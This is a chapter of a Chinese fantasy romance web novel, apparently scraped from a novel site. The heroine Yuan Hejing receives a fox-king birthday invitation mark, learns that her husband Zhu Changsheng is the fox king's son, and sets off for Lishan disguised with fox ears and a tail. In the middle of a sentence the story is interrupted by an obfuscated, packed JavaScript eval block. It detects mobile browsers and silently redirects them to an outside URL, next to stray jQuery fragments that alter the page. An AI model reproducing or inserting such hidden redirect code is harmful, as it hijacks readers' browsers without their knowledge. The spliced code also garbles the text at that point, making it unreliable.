46. 狐王寿辰
作品:《短命夫君他阴魂不散[先婚后爱]》 不知是谁先扯开了话题,之后再也无人深究这件事。元和景见石岩手里捏着两根红线,一圈一圈缠得整齐又好看,她好奇地凑上去问:“岩哥,你这是在做什么?”
石岩朝她嘿嘿一笑,看着手里物什的眼神温和又柔软,道:“我打算给石头做个小铃铛挂在脖子上,这样它出去玩的时候,别人就知道它是有家的狗。而且走路的时候发出叮铃铃的响声,也好提醒它玩够了别忘记回家,家里还有人在等。”
之前和那些官家夫人打交道时,元和景也曾见过她们给爱宠戴平安锁,小巧的一个煞是可爱。而石岩如今做的这个,除了美观外还有提醒之效,简直再适合石头不过了。
她歪了歪头,突然想到某个专门找也找不到的狐狸,内心失落的同时还浮现几分愤然,于是她又问:“那你说,狐狸适合这个吗?”
石岩停下动作,认真地思考了一下才答:“如果是家养的狐狸,应该也是适合的,毕竟狐狸和狗应该差不多。”
元和景赞同地点点头,还没来得及进一步构想,却瞧见云青抱着几本书册朝这边来了。
自杜少桓那件事过去后,她们的生活又都恢复了平常,云青依然独来独往,整日忙于公务,元和景也鲜少见她,更没想过要用什么姿态面对。
毕竟只是旁观者,干涉不了他人的因果,可她也并非铁石心肠,做不到对杜少桓所经历之事完全无动于衷。
见到来人,大家都不约而同静默了一瞬,而云青对此并不关心,互相问候过后,她对元和景道:“少卿大人叫你此时过去。”
元和景连忙站起身,惊呼道:“祝长生回来了?”
云青不言,只是朝她略一颔首,接着便自顾自离开,从身影消失的方向来看,或许是要出门办事。
元和景这下又来劲了,简单同大家告了别,约好明日吃饭的时间后就朝着祝长生的书房奔去。可行至半路时,树丛里忽然传来几声尖细柔弱的哼唧声,乍一听还有点像小姑娘的低泣。
她扒开树丛一看,发现竟是石头这只大白狗正在用爪子来回拨弄着什么,而声音也就是从那之中发出来的。
也许是察觉到元和景的靠近,那东西露出了脑袋,还有一双黑葡萄似的大眼睛,水盈盈地朝她眨巴着,嘴里的哼叫也越发悲戚,好像真被欺负得狠了。
反观石头,还在兴奋地吐着舌头哈气,看上去还沉浸在这场单方面的娱乐中无法自拔。
“走!谁让你欺负它的……走开!”
元和景连忙厉声对石头斥道。
石头被这严厉的语气吓得一哆嗦,先朝元和景投去委屈的眼神,见她脸上的生气不似作伪后,只能把刚得来的“玩具”松开,用爪子轻轻地往她跟前推了两下。
如此,元和景总算看清楚,那是一只小狐狸。
个头和小狗崽差不多,毛色浅灰且十分均匀,两只耳朵毛茸茸地立着,见她伸过手来,还亲昵地主动凑上去舔了舔。
元和景只觉得整颗心都要化了,抚摸的动作越发轻柔,嗓子也不自觉夹了起来,细声细气地道:“小狐狸,你从哪里来的啊?”
旁边的石头目睹完全程,垂着头怏怏不乐地离开了这是非之地。元和景浑然未觉,满心满眼都是那只软糯可爱的狐狸,眼见这小东西踢踏着四条腿小跑去了不远处的野花丛,她也连忙抬脚跟上去。
小狐狸歪着头将那满丛的绯色野花打量了半晌,似乎精挑细选着最漂亮的那朵,元和景刚要出声询问,就看它伸长脖子,将其中一朵用嘴咬了下来。
很快,它又哒哒哒地跑回来,将嘴里衔的花直往元和景的手里塞。
长这么大还是头一回被动物送花,元和景又是惊讶又是高兴,忙不迭将花接过。可一句“多谢”还没说出口,面前的狐狸转眼便消失不见了。
“诶?”
元和景迷茫地左右看看,竟然再也没发现那个灰扑扑的小身影。
她疑心是自己出了幻觉,可手里的红花还盛开正艳,无声地提醒着方才一切并非虚构。
思绪凝滞间,余光突然瞥见一丝不寻常的光芒,元和景低头看去,只见那朵花竟在以肉眼可见的速度缩小,最后凝成了虎口处一个极小的狐狸头。
边缘由浅浅的金色勾勒而成,像是某种特殊的符号,用手搓用水洗都无法消除,看来只能找祝长生问问看这是什么了。
照例是不管不顾地闯进去,但祝长生对此已经驾轻就熟,门被“砰”一声推开时也能做到面色不改毫无波澜。元和景一股脑将事情原委说来,他轻飘飘地睨了眼那狐狸头,从容地道:“看来你也已经收到邀请了。”
元和景:“什么邀请?”
祝长生道:“半月后,狐王寿辰,所有狐族子民皆要回骊山参拜。”
元和景更疑惑了:“可我又不是狐族的人,怎么会收到狐王的邀请?”
“谁说你不是。”祝长生放下手中朱笔,朝她投去不满的一眼,“你虽无狐族血脉,但身为狐王后代之妻,早已被写入骊山一脉族谱。”
元和景面上表情几经变换,目瞪口呆得险些把下巴甩出去,道:“你……你竟然还是狐王的儿子!”
祝长生被她这副没见过世面的样子弄得有些好笑,但碍于官袍在身不好损了仪礼,只能勾了勾唇,说:“这有何可惊讶?我跟寻常狐族也没什么分别,就是力量更强、寿命也更长些罢了。”
元和景显然没注意他话里的深意,有些苦恼地皱起眉头,道:“可我就是个普通人族啊,去你们狐狸窝还不得被撕碎?再说了我嫁的是祝长生又不是胡拾,就不能钻个空子吗?”
在听到后半句时,祝长生的神色悄然暗了一瞬,但很快,他又恢复如常,淡声开口:“其实不去也可以,毕竟狐族子民众多,狐王就算力量再强,也没办法把每个族人都顾及到……”
元和景马上双眼发亮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17106906|193175||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,但在听到接下来的“但是”后,喜色又凝滞在了脸上。
“但是,这个印记会带着狐王的惩罚伴随终身,虽然不会伤及性命,但会霉运不断,小到吃饭卡鱼刺出门被打劫,大到……”
“等等等等!”元和景急得就差去捂他嘴了,“我去!我去还不行吗?”
祝长生莞尔,很听话地止住了话头,安抚似的道:“放心,只用去走个过场便是,无需有何表现,且此去骊山,我送你一份大礼可好?”
“真的?”元和景斜着眼看他,满脸写着不信。
祝长生坦然面对着她的打量,道:“当然是真的。”
“那你说说是什么大礼?”
“这不能说。”
“你说!”
“不说……”
这之后,祝长生将大理寺要紧的事都处理妥当,并借口因私外出,嘱咐好其他几人暂行管理之务,元和景则是同家里打了招呼,两人于十日后出发。
此行的马车不比寻常,出城后便如劲风般疾驰了起来,速度之快连外面的景色都要看不清,可即便如此,车内的人却丝毫感受不到颠簸,身下平稳得如同坐在家中。
祝长生说,外面赶车的那位乃是隐居于普通人之中的狐族,马车被他施了某种提速的术法,且寻常百姓并不会察觉,因此他们不出一日便能抵达骊山。
元和景摇了摇头,啧啧叹道:“狐族竟然有这种好东西,要是能给每个人的马车都用上术法,大家也就不用出个远门要花十天半月了。”
祝长生却不为所动,只淡淡道:“话虽如此,但终究只是嘴上说说罢了。人族和狐族早在百年前决裂,如今能相安无事已是难得。就算偶有来往也不过少数,毕竟许多狐族现在依然对人族抱有敌意。”
元和景倒是从未听过这等往事,好奇问道:“怎么会这样?”
“这发生在狐族刚刚形成之时,具体缘由我也无从知晓,不过为保万无一失,我且为你乔装打扮一番。”
说完,祝长生手上掐了个诀,而与此同时,元和景发现自己的身体出现了一些变化——
头顶有什么东西在不受控制地动来动去,她伸手一抓,竟然抓到两只触感柔软的尖尖耳朵,再动动身子,后面有一条毛绒绒的浅色大尾巴晃到了面前。
元和景不可思议地道:“这些……都是我的?我变成狐狸了?”
祝长生惯爱看她这副可爱的模样,不由得失笑,道:“只是简单的术法,用来骗过大部分狐族不成问题,你若是喜欢,日后没人时也能变给你玩。”
元和景又将尾巴捏在手里翻来覆去地把玩,怎么看怎么觉得逼真。祝长生也将自己的一条尾巴召了出来,慢慢地游至她身前,将她的尾巴尖勾住。
两相对比之下,元和景也能发现些蹊跷,就从形态和颜色来说,还是祝长生的更加真实,而这条变出来的则像是蒙了层薄雾,叫人有些看不真切。

